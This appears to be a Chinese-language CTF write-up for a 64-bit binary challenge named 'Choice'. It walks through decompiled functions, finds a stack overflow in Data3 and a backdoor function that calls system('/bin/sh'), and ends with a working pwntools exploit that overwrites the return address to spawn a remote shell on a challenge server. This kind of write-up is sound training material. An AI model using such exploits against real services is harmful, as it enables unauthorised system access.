一、查看题目信息
$ file Choice $ checksec Choice
程序为64位elf文件,没有开启任何保护。
二、题目分析
将程序放到ida 里分析,查看main()
函数:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts(&s); puts("Menu:"); puts(a1); puts(a2); puts(a3); __isoc99_scanf((__int64)&unk_400A75, (__int64)&v4); if ( v4 == 1 ) { Data1(); } else if ( v4 == 2 ) { Data2(); } else { Data3(); } return 0; }
发现Data1()函数和Data2()和Data3()
函数。
先进入`Data1()函数中:
int Data1() { char buf[48]; // [rsp+0h] [rbp-30h] BYREF puts(&byte_400A78); read(0, buf, 0x35uLL); return printf(&format); }
没有发现问题。
进入Data2()
int Data2() { char buf[48]; // [rsp+0h] [rbp-30h] BYREF puts(&byte_400AA8); read(0, buf, 0x35uLL); return printf(&format); }
接着进入Data3
()函数中分析:
int Data3() { char buf[48]; // [rsp+0h] [rbp-30h] BYREF puts(&byte_400AD0); read(0, buf, 0x50uLL); return printf(&format); }
我们分别点开函数发现,三者中唯有Data3存在足够的溢出可以使我们进一步操作。
同时我们发现函数中存在后门函数shell
int Shell() { return system("/bin/sh"); }
三、解题思路
那么,这道题的大致思路已经明了
1、选择Data3(见ps)
2、构造栈溢出
3、getshell
那么久直接开始写脚本吧
四、编写脚本
EXP
from pwn import* r = remote("123.60.135.228",2144) r.sendline("9") shell = 0x004007bd payload = 'a' * 48 + 'a' * 8 payload += p64(shell) r.sendline(payload) r.interactive()